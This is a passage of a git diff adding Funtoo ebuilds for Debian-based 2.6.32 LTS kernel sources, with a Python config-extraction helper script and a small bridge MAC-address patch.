+KERNEL_ARCHIVE="linux-2.6_2.6.32.orig.tar.gz"
+RESTRICT="binchecks strip"
+# based on : http://packages.ubuntu.com/maverick/linux-image-2.6.35-22-server
+LICENSE="GPL-2"
+KEYWORDS="*"
+IUSE="openvz binary"
+DEPEND="binary? ( >=sys-kernel/genkernel-3.4.12.6-r4 )"
+RDEPEND="binary? ( || ( >=sys-fs/udev-160 >=virtual/udev-171 ) )"
+DESCRIPTION="Debian Sources (and optional binary kernel)"
+HOMEPAGE="http://www.debian.org"
+MAINPATCH="linux-2.6_2.6.32-41.diff.gz"
+SRC_URI="http://ftp.bg.debian.org/debian/pool/main/l/linux-2.6/${KERNEL_ARCHIVE}
+	 http://ftp.bg.debian.org/debian/pool/main/l/linux-2.6/${MAINPATCH}"
+S="$WORKDIR/linux-${CKV}"
+
+apply() {
+	p=$1; shift
+	case "${p##*.}" in
+		gz)
+			ca="gzip -dc"
+			;;
+		bz2)
+			ca="bzip2 -dc"
+			;;
+		xz)
+			ca="xz -dc"
+			;;
+		*)
+			ca="cat"
+			;;
+	esac
+	[ ! -e $p ] && die "patch $p not found"
+	echo "Applying patch $p"; $ca $p | patch $* || die "patch $p failed"
+}
+
+pkg_setup() {
+	unset ARCH; unset LDFLAGS #will interfere with Makefile if set
+}
+
+src_unpack() {
+	cd ${WORKDIR}
+	unpack ${KERNEL_ARCHIVE}
+}
+
+src_prepare() {
+	cd ${WORKDIR}
+	apply $DISTDIR/$MAINPATCH -p1
+
+	# debian-specific stuff....
+
+	mv linux-* ${S##*/} || die
+	mv debian ${S##*/}/ || die
+	cd ${S}
+	sed -i \
+		-e 's/^sys.path.append.*$/sys.path.append(".\/debian\/lib\/python")/' \
+		-e 's/^_default_home =.*$/_default_home = ".\/debian\/patches"/' \
+		debian/bin/patch.apply || die
+	python2 debian/bin/patch.apply $KV_DEB || die
+	if use openvz
+	then
+		python2 debian/bin/patch.apply -a $ARCH -f openvz || die
+	fi
+
+	# end of debian-specific stuff...
+
+	sed -i -e "s:^\(EXTRAVERSION =\).*:\1 ${EXTRAVERSION}:" Makefile || die
+	sed	-i -e 's:#export\tINSTALL_PATH:export\tINSTALL_PATH:' Makefile || die
+	rm -f .config >/dev/null
+	cp -a debian ${T} || die "couldn't back up debian dir (will be wiped by mrproper)"
+	make -s mrproper || die "make mrproper failed"
+	cp -a ${T}/debian . || die "couldn't restore debian directory"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+	#mv "${TEMP}/configs" "${S}" || die
+	cd ${S}
+	local opts
+	use openvz && opts="openvz"
+	local myarch="amd64"
+	[ "$ARCH" = "x86" ] && myarch="i386"
+	cp ${FILESDIR}/config-extract . || die
+	chmod +x config-extract || die
+	./config-extract ${myarch} ${opts} || die
+	cp .config ${T}/config || die
+	make -s mrproper || die "make mrproper failed"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+}
+
+src_compile() {
+	! use binary && return
+	install -d ${WORKDIR}/out/{lib,boot}
+	install -d ${T}/{cache,twork}
+	install -d $WORKDIR/build $WORKDIR/out/lib/firmware
+	genkernel \
+		--no-save-config \
+		--kernel-config="$T/config" \
+		--kernname="${PN}" \
+		--build-src="$S" \
+		--build-dst=${WORKDIR}/build \
+		--makeopts="${MAKEOPTS}" \
+		--firmware-dst=${WORKDIR}/out/lib/firmware \
+		--cachedir="${T}/cache" \
+		--tempdir="${T}/twork" \
+		--logfile="${WORKDIR}/genkernel.log" \
+		--bootdir="${WORKDIR}/out/boot" \
+		--lvm \
+		--luks \
+		--iscsi \
+		--module-prefix="${WORKDIR}/out" \
+		all || die "genkernel failed"
+}
+
+src_install() {
+	# copy sources into place:
+	dodir /usr/src
+	cp -a ${S} ${D}/usr/src/linux-${P} || die
+	cd ${D}/usr/src/linux-${P}
+	# prepare for real-world use and 3rd-party module building:
+	make mrproper || die
+	cp ${T}/config .config || die
+	cp -a ${T}/debian debian || die
+	yes "" | make oldconfig || die
+	# if we didn't use genkernel, we're done. The kernel source tree is left in
+	# an unconfigured state - you can't compile 3rd-party modules against it yet.
+	use binary || return
+	make prepare || die
+	make scripts || die
+	# OK, now the source tree is configured to allow 3rd-party modules to be
+	# built against it, since we want that to work since we have a binary kernel
+	# built.
+	cp -a ${WORKDIR}/out/* ${D}/ || die "couldn't copy output files into place"
+	# module symlink fixup:
+	rm -f ${D}/lib/modules/*/source || die
+	rm -f ${D}/lib/modules/*/build || die
+	cd ${D}/lib/modules
+	# module strip:
+	find -iname *.ko -exec strip --strip-debug {} \;
+	# back to the symlink fixup:
+	local moddir="$(ls -d [23]*)"
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/source || die
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/build || die
+}
+
+pkg_postinst() {
+	if [ ! -e ${ROOT}usr/src/linux ]
+	then
+		ln -s linux-${P} ${ROOT}usr/src/linux
+	fi
+}
diff --git a/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43-r1.ebuild b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43-r1.ebuild
new file mode 100644
index 00000000..36225eef
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43-r1.ebuild
@@ -0,0 +1,161 @@
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=2
+
+inherit mount-boot
+
+SLOT=$PVR
+CKV=2.6.32
+KV_FULL=${PN}-${PVR}
+KERNEL_ARCHIVE="linux-2.6_2.6.32.orig.tar.gz"
+RESTRICT="binchecks strip"
+# based on : http://packages.ubuntu.com/maverick/linux-image-2.6.35-22-server
+LICENSE="GPL-2"
+KEYWORDS="*"
+IUSE="openvz binary"
+DEPEND="binary? ( >=sys-kernel/genkernel-3.4.12.6-r4 )"
+RDEPEND="binary? ( || ( >=sys-fs/udev-160 >=virtual/udev-171 ) )"
+DESCRIPTION="Debian Sources (and optional binary kernel)"
+HOMEPAGE="http://www.debian.org"
+MAINPATCH="linux-2.6_2.6.32-43.diff.gz"
+SRC_URI="http://ftp.bg.debian.org/debian/pool/main/l/linux-2.6/${KERNEL_ARCHIVE}
+	 http://ftp.bg.debian.org/debian/pool/main/l/linux-2.6/${MAINPATCH}"
+S="$WORKDIR/linux-${CKV}"
+
+apply() {
+	p=$1; shift
+	case "${p##*.}" in
+		gz)
+			ca="gzip -dc"
+			;;
+		bz2)
+			ca="bzip2 -dc"
+			;;
+		xz)
+			ca="xz -dc"
+			;;
+		*)
+			ca="cat"
+			;;
+	esac
+	[ ! -e $p ] && die "patch $p not found"
+	echo "Applying patch $p"; $ca $p | patch $* || die "patch $p failed"
+}
+
+pkg_setup() {
+	unset ARCH; unset LDFLAGS #will interfere with Makefile if set
+}
+
+src_unpack() {
+	cd ${WORKDIR}
+	unpack ${KERNEL_ARCHIVE}
+}
+
+src_prepare() {
+	cd ${WORKDIR}
+	apply $DISTDIR/$MAINPATCH -p1
+
+	# debian-specific stuff....
+
+	mv linux-* ${S##*/} || die
+	mv debian ${S##*/}/ || die
+	cd ${S}
+	sed -i \
+		-e 's/^sys.path.append.*$/sys.path.append(".\/debian\/lib\/python")/' \
+		-e 's/^_default_home =.*$/_default_home = ".\/debian\/patches"/' \
+		debian/bin/patch.apply || die
+	python2 debian/bin/patch.apply $KV_DEB || die
+	if use openvz
+	then
+		python2 debian/bin/patch.apply -a $ARCH -f openvz || die
+	fi
+
+	# end of debian-specific stuff...
+
+	sed -i -e "s:^\(EXTRAVERSION =\).*:\1 ${EXTRAVERSION}:" Makefile || die
+	sed	-i -e 's:#export\tINSTALL_PATH:export\tINSTALL_PATH:' Makefile || die
+	rm -f .config >/dev/null
+	cp -a debian ${T} || die "couldn't back up debian dir (will be wiped by mrproper)"
+	make -s mrproper || die "make mrproper failed"
+	cp -a ${T}/debian . || die "couldn't restore debian directory"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+	#mv "${TEMP}/configs" "${S}" || die
+	cd ${S}
+	local opts
+	use openvz && opts="openvz"
+	local myarch="amd64"
+	[ "$ARCH" = "x86" ] && myarch="i386"
+	cp ${FILESDIR}/config-extract . || die
+	chmod +x config-extract || die
+	./config-extract ${myarch} ${opts} || die
+	cp .config ${T}/config || die
+	make -s mrproper || die "make mrproper failed"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+}
+
+src_compile() {
+	! use binary && return
+	install -d ${WORKDIR}/out/{lib,boot}
+	install -d ${T}/{cache,twork}
+	install -d $WORKDIR/build $WORKDIR/out/lib/firmware
+	genkernel \
+		--no-save-config \
+		--kernel-config="$T/config" \
+		--kernname="${PN}" \
+		--build-src="$S" \
+		--build-dst=${WORKDIR}/build \
+		--makeopts="${MAKEOPTS}" \
+		--firmware-dst=${WORKDIR}/out/lib/firmware \
+		--cachedir="${T}/cache" \
+		--tempdir="${T}/twork" \
+		--logfile="${WORKDIR}/genkernel.log" \
+		--bootdir="${WORKDIR}/out/boot" \
+		--lvm \
+		--luks \
+		--iscsi \
+		--module-prefix="${WORKDIR}/out" \
+		all || die "genkernel failed"
+}
+
+src_install() {
+	# copy sources into place:
+	dodir /usr/src
+	cp -a ${S} ${D}/usr/src/linux-${P} || die
+	cd ${D}/usr/src/linux-${P}
+	# prepare for real-world use and 3rd-party module building:
+	make mrproper || die
+	cp ${T}/config .config || die
+	cp -a ${T}/debian debian || die
+	yes "" | make oldconfig || die
+	# if we didn't use genkernel, we're done. The kernel source tree is left in
+	# an unconfigured state - you can't compile 3rd-party modules against it yet.
+	use binary || return
+	make prepare || die
+	make scripts || die
+	# OK, now the source tree is configured to allow 3rd-party modules to be
+	# built against it, since we want that to work since we have a binary kernel
+	# built.
+	cp -a ${WORKDIR}/out/* ${D}/ || die "couldn't copy output files into place"
+	# module symlink fixup:
+	rm -f ${D}/lib/modules/*/source || die
+	rm -f ${D}/lib/modules/*/build || die
+	cd ${D}/lib/modules
+	# module strip:
+	find -iname *.ko -exec strip --strip-debug {} \;
+	# back to the symlink fixup:
+	local moddir="$(ls -d [23]*)"
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/source || die
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/build || die
+
+        # Fixes FL-14
+        cp "${WORKDIR}/build/System.map" "${D}/usr/src/linux-${P}/" || die
+        cp "${WORKDIR}/build/Module.symvers" "${D}/usr/src/linux-${P}/" || die
+
+}
+
+pkg_postinst() {
+	if [ ! -e ${ROOT}usr/src/linux ]
+	then
+		ln -s linux-${P} ${ROOT}usr/src/linux
+	fi
+}
diff --git a/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43.ebuild b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43.ebuild
new file mode 100644
index 00000000..ee437a14
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43.ebuild
@@ -0,0 +1,156 @@
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=2
+
+inherit mount-boot
+
+SLOT=$PVR
+CKV=2.6.32
+KV_FULL=${PN}-${PVR}
+KERNEL_ARCHIVE="linux-2.6_2.6.32.orig.tar.gz"
+RESTRICT="binchecks strip"
+# based on : http://packages.ubuntu.com/maverick/linux-image-2.6.35-22-server
+LICENSE="GPL-2"
+KEYWORDS="*"
+IUSE="openvz binary"
+DEPEND="binary? ( >=sys-kernel/genkernel-3.4.12.6-r4 )"
+RDEPEND="binary? ( || ( >=sys-fs/udev-160 >=virtual/udev-171 ) )"
+DESCRIPTION="Debian Sources (and optional binary kernel)"
+HOMEPAGE="http://www.debian.org"
+MAINPATCH="linux-2.6_2.6.32-43.diff.gz"
+SRC_URI="http://ftp.bg.debian.org/debian/pool/main/l/linux-2.6/${KERNEL_ARCHIVE}
+	 http://ftp.bg.debian.org/debian/pool/main/l/linux-2.6/${MAINPATCH}"
+S="$WORKDIR/linux-${CKV}"
+
+apply() {
+	p=$1; shift
+	case "${p##*.}" in
+		gz)
+			ca="gzip -dc"
+			;;
+		bz2)
+			ca="bzip2 -dc"
+			;;
+		xz)
+			ca="xz -dc"
+			;;
+		*)
+			ca="cat"
+			;;
+	esac
+	[ ! -e $p ] && die "patch $p not found"
+	echo "Applying patch $p"; $ca $p | patch $* || die "patch $p failed"
+}
+
+pkg_setup() {
+	unset ARCH; unset LDFLAGS #will interfere with Makefile if set
+}
+
+src_unpack() {
+	cd ${WORKDIR}
+	unpack ${KERNEL_ARCHIVE}
+}
+
+src_prepare() {
+	cd ${WORKDIR}
+	apply $DISTDIR/$MAINPATCH -p1
+
+	# debian-specific stuff....
+
+	mv linux-* ${S##*/} || die
+	mv debian ${S##*/}/ || die
+	cd ${S}
+	sed -i \
+		-e 's/^sys.path.append.*$/sys.path.append(".\/debian\/lib\/python")/' \
+		-e 's/^_default_home =.*$/_default_home = ".\/debian\/patches"/' \
+		debian/bin/patch.apply || die
+	python2 debian/bin/patch.apply $KV_DEB || die
+	if use openvz
+	then
+		python2 debian/bin/patch.apply -a $ARCH -f openvz || die
+	fi
+
+	# end of debian-specific stuff...
+
+	sed -i -e "s:^\(EXTRAVERSION =\).*:\1 ${EXTRAVERSION}:" Makefile || die
+	sed	-i -e 's:#export\tINSTALL_PATH:export\tINSTALL_PATH:' Makefile || die
+	rm -f .config >/dev/null
+	cp -a debian ${T} || die "couldn't back up debian dir (will be wiped by mrproper)"
+	make -s mrproper || die "make mrproper failed"
+	cp -a ${T}/debian . || die "couldn't restore debian directory"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+	#mv "${TEMP}/configs" "${S}" || die
+	cd ${S}
+	local opts
+	use openvz && opts="openvz"
+	local myarch="amd64"
+	[ "$ARCH" = "x86" ] && myarch="i386"
+	cp ${FILESDIR}/config-extract . || die
+	chmod +x config-extract || die
+	./config-extract ${myarch} ${opts} || die
+	cp .config ${T}/config || die
+	make -s mrproper || die "make mrproper failed"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+}
+
+src_compile() {
+	! use binary && return
+	install -d ${WORKDIR}/out/{lib,boot}
+	install -d ${T}/{cache,twork}
+	install -d $WORKDIR/build $WORKDIR/out/lib/firmware
+	genkernel \
+		--no-save-config \
+		--kernel-config="$T/config" \
+		--kernname="${PN}" \
+		--build-src="$S" \
+		--build-dst=${WORKDIR}/build \
+		--makeopts="${MAKEOPTS}" \
+		--firmware-dst=${WORKDIR}/out/lib/firmware \
+		--cachedir="${T}/cache" \
+		--tempdir="${T}/twork" \
+		--logfile="${WORKDIR}/genkernel.log" \
+		--bootdir="${WORKDIR}/out/boot" \
+		--lvm \
+		--luks \
+		--iscsi \
+		--module-prefix="${WORKDIR}/out" \
+		all || die "genkernel failed"
+}
+
+src_install() {
+	# copy sources into place:
+	dodir /usr/src
+	cp -a ${S} ${D}/usr/src/linux-${P} || die
+	cd ${D}/usr/src/linux-${P}
+	# prepare for real-world use and 3rd-party module building:
+	make mrproper || die
+	cp ${T}/config .config || die
+	cp -a ${T}/debian debian || die
+	yes "" | make oldconfig || die
+	# if we didn't use genkernel, we're done. The kernel source tree is left in
+	# an unconfigured state - you can't compile 3rd-party modules against it yet.
+	use binary || return
+	make prepare || die
+	make scripts || die
+	# OK, now the source tree is configured to allow 3rd-party modules to be
+	# built against it, since we want that to work since we have a binary kernel
+	# built.
+	cp -a ${WORKDIR}/out/* ${D}/ || die "couldn't copy output files into place"
+	# module symlink fixup:
+	rm -f ${D}/lib/modules/*/source || die
+	rm -f ${D}/lib/modules/*/build || die
+	cd ${D}/lib/modules
+	# module strip:
+	find -iname *.ko -exec strip --strip-debug {} \;
+	# back to the symlink fixup:
+	local moddir="$(ls -d [23]*)"
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/source || die
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/build || die
+}
+
+pkg_postinst() {
+	if [ ! -e ${ROOT}usr/src/linux ]
+	then
+		ln -s linux-${P} ${ROOT}usr/src/linux
+	fi
+}
diff --git a/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.46.ebuild b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.46.ebuild
new file mode 100644
index 00000000..94e1100a
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.46.ebuild
@@ -0,0 +1,162 @@
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=2
+
+inherit mount-boot
+
+SLOT=$PVR
+CKV=2.6.32
+KV_FULL=${PN}-${PVR}
+KERNEL_ARCHIVE="linux-2.6_2.6.32.orig.tar.gz"
+RESTRICT="binchecks strip"
+# based on : http://packages.ubuntu.com/maverick/linux-image-2.6.35-22-server
+LICENSE="GPL-2"
+KEYWORDS="*"
+IUSE="openvz binary"
+DEPEND="binary? ( >=sys-kernel/genkernel-3.4.12.6-r4 )"
+RDEPEND="binary? ( || ( >=sys-fs/udev-160 >=virtual/udev-171 ) )"
+DESCRIPTION="Debian Sources (and optional binary kernel)"
+HOMEPAGE="http://www.debian.org"
+MAINPATCH="linux-2.6_2.6.32-46.diff.gz"
+SRC_URI="http://ftp.osuosl.org/pub/funtoo/distfiles/${KERNEL_ARCHIVE}
+	 http://ftp.osuosl.org/pub/funtoo/distfiles/${MAINPATCH}"
+RESTRICT="mirror"
+S="$WORKDIR/linux-${CKV}"
+
+apply() {
+	p=$1; shift
+	case "${p##*.}" in
+		gz)
+			ca="gzip -dc"
+			;;
+		bz2)
+			ca="bzip2 -dc"
+			;;
+		xz)
+			ca="xz -dc"
+			;;
+		*)
+			ca="cat"
+			;;
+	esac
+	[ ! -e $p ] && die "patch $p not found"
+	echo "Applying patch $p"; $ca $p | patch $* || die "patch $p failed"
+}
+
+pkg_setup() {
+	unset ARCH; unset LDFLAGS #will interfere with Makefile if set
+}
+
+src_unpack() {
+	cd ${WORKDIR}
+	unpack ${KERNEL_ARCHIVE}
+}
+
+src_prepare() {
+	cd ${WORKDIR}
+	apply $DISTDIR/$MAINPATCH -p1
+
+	# debian-specific stuff....
+
+	mv linux-* ${S##*/} || die
+	mv debian ${S##*/}/ || die
+	cd ${S}
+	sed -i \
+		-e 's/^sys.path.append.*$/sys.path.append(".\/debian\/lib\/python")/' \
+		-e 's/^_default_home =.*$/_default_home = ".\/debian\/patches"/' \
+		debian/bin/patch.apply || die
+	python2 debian/bin/patch.apply $KV_DEB || die
+	if use openvz
+	then
+		python2 debian/bin/patch.apply -a $ARCH -f openvz || die
+	fi
+
+	# end of debian-specific stuff...
+
+	sed -i -e "s:^\(EXTRAVERSION =\).*:\1 ${EXTRAVERSION}:" Makefile || die
+	sed	-i -e 's:#export\tINSTALL_PATH:export\tINSTALL_PATH:' Makefile || die
+	rm -f .config >/dev/null
+	cp -a debian ${T} || die "couldn't back up debian dir (will be wiped by mrproper)"
+	make -s mrproper || die "make mrproper failed"
+	cp -a ${T}/debian . || die "couldn't restore debian directory"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+	#mv "${TEMP}/configs" "${S}" || die
+	cd ${S}
+	local opts
+	use openvz && opts="openvz"
+	local myarch="amd64"
+	[ "$ARCH" = "x86" ] && myarch="i386"
+	cp ${FILESDIR}/config-extract . || die
+	chmod +x config-extract || die
+	./config-extract ${myarch} ${opts} || die
+	cp .config ${T}/config || die
+	make -s mrproper || die "make mrproper failed"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+}
+
+src_compile() {
+	! use binary && return
+	install -d ${WORKDIR}/out/{lib,boot}
+	install -d ${T}/{cache,twork}
+	install -d $WORKDIR/build $WORKDIR/out/lib/firmware
+	genkernel \
+		--no-save-config \
+		--kernel-config="$T/config" \
+		--kernname="${PN}" \
+		--build-src="$S" \
+		--build-dst=${WORKDIR}/build \
+		--makeopts="${MAKEOPTS}" \
+		--firmware-dst=${WORKDIR}/out/lib/firmware \
+		--cachedir="${T}/cache" \
+		--tempdir="${T}/twork" \
+		--logfile="${WORKDIR}/genkernel.log" \
+		--bootdir="${WORKDIR}/out/boot" \
+		--lvm \
+		--luks \
+		--iscsi \
+		--module-prefix="${WORKDIR}/out" \
+		all || die "genkernel failed"
+}
+
+src_install() {
+	# copy sources into place:
+	dodir /usr/src
+	cp -a ${S} ${D}/usr/src/linux-${P} || die
+	cd ${D}/usr/src/linux-${P}
+	# prepare for real-world use and 3rd-party module building:
+	make mrproper || die
+	cp ${T}/config .config || die
+	cp -a ${T}/debian debian || die
+	yes "" | make oldconfig || die
+	# if we didn't use genkernel, we're done. The kernel source tree is left in
+	# an unconfigured state - you can't compile 3rd-party modules against it yet.
+	use binary || return
+	make prepare || die
+	make scripts || die
+	# OK, now the source tree is configured to allow 3rd-party modules to be
+	# built against it, since we want that to work since we have a binary kernel
+	# built.
+	cp -a ${WORKDIR}/out/* ${D}/ || die "couldn't copy output files into place"
+	# module symlink fixup:
+	rm -f ${D}/lib/modules/*/source || die
+	rm -f ${D}/lib/modules/*/build || die
+	cd ${D}/lib/modules
+	# module strip:
+	find -iname *.ko -exec strip --strip-debug {} \;
+	# back to the symlink fixup:
+	local moddir="$(ls -d [23]*)"
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/source || die
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/build || die
+
+	# Fixes FL-14
+	cp "${WORKDIR}/build/System.map" "${D}/usr/src/linux-${P}/" || die
+	cp "${WORKDIR}/build/Module.symvers" "${D}/usr/src/linux-${P}/" || die
+
+}
+
+pkg_postinst() {
+	if [ ! -e ${ROOT}usr/src/linux ]
+	then
+		ln -s linux-${P} ${ROOT}usr/src/linux
+	fi
+}
diff --git a/sys-kernel/debian-sources-lts/files/config-extract b/sys-kernel/debian-sources-lts/files/config-extract
new file mode 100755
index 00000000..fe15f548
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/files/config-extract
@@ -0,0 +1,216 @@
+#!/usr/bin/python2
+
+import os,sys,re
+import getopt
+
+re_head = re.compile('^binary-arch_(.*)_real::')
+re_flav = re.compile('binary-arch-flavour')
+re_item = re.compile("[A-Z_]*='[^']*'")
+
+try:
+	f=open("debian/rules.gen","r")
+except:
+	print "Unable to open debian/rules.gen; can't continue."
+	sys.exit(1)
+lines=f.readlines()
+f.close()
+
+line=0
+
+configlist = []
+configdict = {}
+
+# scan Debian rules.gen file and gather all variable data into a more useable format:
+
+while line < len(lines):
+	head_match = re_head.match(lines[line])
+	if not head_match:
+		line += 1
+		continue
+	config_name = head_match.group(1)	
+	line += 1
+	if not re_flav.findall(lines[line]):
+		continue
+	lsplit = re_item.findall(lines[line])
+	groovydict = {}
+	for item in lsplit:
+		kv = item.split("=",1)
+		if len(kv) < 2:
+			continue
+		groovydict[kv[0]] = kv[1][1:-1]
+	configlist.append(config_name)
+	configdict[config_name] = groovydict
+	line += 1
+
+# We will organize the arch, featureset and flavors into cascading lists so
+# that we can present a nice clean chart of what's available to the user:
+
+archdict = {}
+
+for config in configlist:
+	cs = config.split("_")
+	if not cs[0] in archdict:
+		archdict[cs[0]] = { } 
+	if cs[1] == "none":
+		cs[1] = None
+	if cs[1] not in archdict[cs[0]]:
+		archdict[cs[0]][cs[1]] = []
+	archdict[cs[0]][cs[1]].append(cs[2])
+
+arches = archdict.keys()
+arches.sort()
+
+features = [ None ]
+for arch in arches:
+	for flav in archdict[arch]:
+		if flav not in features:
+			features.append(flav)
+
+PROG="config-extract"
+def usage():
+	print """This work is free software.
+
+Copyright 2011 Funtoo Technologies. You can redistribute and/or modify it under
+the terms of the GNU General Public License version 3 as published by the Free
+Software Foundation. Alternatively you may (at your option) use any other
+license that has been publicly approved for use with this program by Funtoo
+Technologies (or its successors, if any.)
+
+usage: %s [options] arch [featureset] [subarch]
+  
+  -h  --help        print this usage and exit
+  -l  --list        list all available kernel configurations
+  -o  --outfile     specify kernel config outfile --
+                    defaults to .config in current directory
+  [featureset]      defaults to "none" if not specified
+  [subarch]         defaults to the only one available; otherwise required
+
+This program was written by Daniel Robbins for Funtoo Linux, for the purpose of
+easily and conveniently extracting Debian kernel configurations. To see a nice
+list of all available kernel configurations, use the --list option.
+
+Debian's kernel configs are specified internally in arch_featureset_flavor
+format, such as: "amd64_openvz_amd64". The featureset typically describes an
+optional kernel configuration such as "xen" or "openvz", while the flavor in
+Debian terminology typically refers to the sub-architecture of the CPU.
+
+When using this command, you must specify an arch. A featureset of "none" is
+assumed unless you specify one, and by default this program will pick the only
+available subarch if there is only one to choose from. If not, you will need to
+pick one (and the program will remind you to do this.)
+
+The kernel configuration will be written to ".config" in the current directory,
+or the location you specified using the -o/--outfile option.
+""" % PROG
+	sys.exit(2)
+
+try:
+        opts, args = getopt.getopt(sys.argv[1:], "o:hl", ["help", "list","outfile="])
+except getopt.GetoptError, err:
+	print str(err) 
+	usage()
+
+mode="run"
+outfile=None
+for o,a in opts:
+	if o in ("-h", "--help"):
+		usage()
+	elif o in ("-l", "--list"):
+		mode="list"
+	elif o in ("-o", "--outfile"):
+		outfile = a
+	else:
+		assert False, "Unhandled option"
+if mode == "run":
+	if len(args) < 1 or len(args) > 3:
+		if len(args) == 0:
+			print "Please specify an arch - one of: "+", ".join(arches)
+			sys.exit(2)
+		else:
+			print "Too many arguments."
+			usage()
+	arch = args[0]
+	if outfile == None:
+		outfile = os.path.join(os.getcwd(),".config")
+	featureset = None
+	subarch = None
+	if len(args) == 3:
+		featureset = args[1]
+		subarch = args[2]
+	elif len(args) == 2:
+		featureset = args[1]
+
+# print out optimized list of available kernel configurations:
+
+if mode=="list":
+	print
+	for flav in features:
+		label = flav
+		if label == None:
+			label = "standard"
+		print "====== %s featureset ======" % label
+		print
+		for arch in arches:
+			if flav in archdict[arch]:
+				if len(archdict[arch][flav]) == 1:
+					print arch.rjust(12)
+				else:
+					flavlist = archdict[arch][flav]
+					flavlist.sort()
+					variants = ", ".join(flavlist) 
+					print arch.rjust(12) + ":", variants
+		print
+	sys.exit(0)
+
+# featureset defaults to None.
+
+if featureset not in archdict[arch]:
+	print "Error: There is no '%s' featureset kernel config for arch '%s'. Exiting." % ( featureset, arch )
+	sys.exit(2)
+
+# If a subarch is not specified (None), then we will auto-pick the subarch if only one is available.
+# Debian often has an "amd64" subarch for the "amd64" arch, rather than "none" as I might expect:
+
+if subarch == None:
+	if len(archdict[arch][featureset]) == 1:
+		subarch = archdict[arch][featureset][0]
+	else:
+		print "Error: there is more than one 'sub-architecture' for this arch."
+		print "Please specify one of the following subarches as a secondary argument:"
+		print ", ".join(archdict[arch][featureset])
+		sys.exit(2)
+else:
+	if subarch not in archdict[arch][featureset]:
+		print "Error: specified sub-architecture '%s' is not available for this arch. Exiting." % subarch
+		sys.exit(2)
+
+# We've done all our arg processing, now let's construct the master_key that we will use to look up the
+# proper settings to pass to Debian's debian/bin/kconfig.py command:
+
+master_key=arch
+if featureset == None:
+	master_key += "_none"
+else:
+	master_key += "_%s" % featureset
+if subarch == None:
+	master_key += "_none"
+else:
+	master_key += "_%s" % subarch
+if master_key not in configdict:
+	print "Master key lookup failed; can't continue. Please report this bug."
+	sys.exit(1)
+if "KCONFIG" not in configdict[master_key]:
+	print "Unable to find KCONFIG option; can't continue. Please report this bug."
+	sys.exit(1)
+cmd = "python2 debian/bin/kconfig.py '%s' %s" % ( outfile, configdict[master_key]["KCONFIG"] )
+if "KCONFIG_OPTIONS" in configdict[master_key]:
+	cmd += " %s" % configdict[master_key]["KCONFIG_OPTIONS"]
+os.environ["PYTHONPATH"] = "debian/lib/python"
+retval = os.system(cmd)
+if retval == 0:
+	print "Wrote %s kernel configuration to %s." % ( master_key, outfile )
+	sys.exit(0)
+else:
+	print "There was an error extracting the Debian kernel config."
+	sys.exit(1)
+
diff --git a/sys-kernel/debian-sources-lts/files/debian-sources-2.6.32.30-bridgemac.patch b/sys-kernel/debian-sources-lts/files/debian-sources-2.6.32.30-bridgemac.patch
new file mode 100644
index 00000000..b092c15a
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/files/debian-sources-2.6.32.30-bridgemac.patch
@@ -0,0 +1,15 @@
+diff -urN linux/net/bridge/br_stp_if.c drobtmp/net/bridge/br_stp_if.c
+--- linux/net/bridge/br_stp_if.c	2009-06-20 01:46:25.000000000 -0600
++++ drobtmp/net/bridge/br_stp_if.c	2009-06-27 16:47:57.000000000 -0600
+@@ -163,10 +163,7 @@
+ 	struct net_bridge_port *p;
+ 
+ 	list_for_each_entry(p, &br->port_list, list) {
+-		if (addr == br_mac_zero ||
+-		    memcmp(p->dev->dev_addr, addr, ETH_ALEN) < 0)
+-			addr = p->dev->dev_addr;
+-
++	    addr = p->dev->dev_addr;
+ 	}
+ 
+ 	if (compare_ether_addr(br->bridge_id.addr, addr))
diff --git a/sys-kernel/debian-sources-lts/files/debian-sources-2.6.38.3-bridgemac.patch b/sys-kernel/debian-sources-lts/files/debian-sources-2.6.38.3-bridgemac.patch
new file mode 100644
index 00000000..b092c15a
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/files/debian-sources-2.6.38.3-bridgemac.patch
@@ -0,0 +1,15 @@
+diff -urN linux/net/bridge/br_stp_if.c drobtmp/net/bridge/br_stp_if.c
+--- linux/net/bridge/br_stp_if.c	2009-06-20 01:46:25.000000000 -0600
++++ drobtmp/net/bridge/br_stp_if.c	2009-06-27 16:47:57.000000000 -0600
+@@ -163,10 +163,7 @@
+ 	struct net_bridge_port *p;
+ 
+ 	list_for_each_entry(p, &br->port_list, list) {
+-		if (addr == br_mac_zero ||
+-		    memcmp(p->dev->dev_addr, addr, ETH_ALEN) < 0)
+-			addr = p->dev->dev_addr;
+-
++	    addr = p->dev->dev_addr;
+ 	}
+ 
+ 	if (compare_ether_addr(br->bridge_id.addr, addr))
diff --git a/sys-kernel/debian-sources-lts/metadata.xml b/sys-kernel/debian-sources-lts/metadata.xml
new file mode 100644
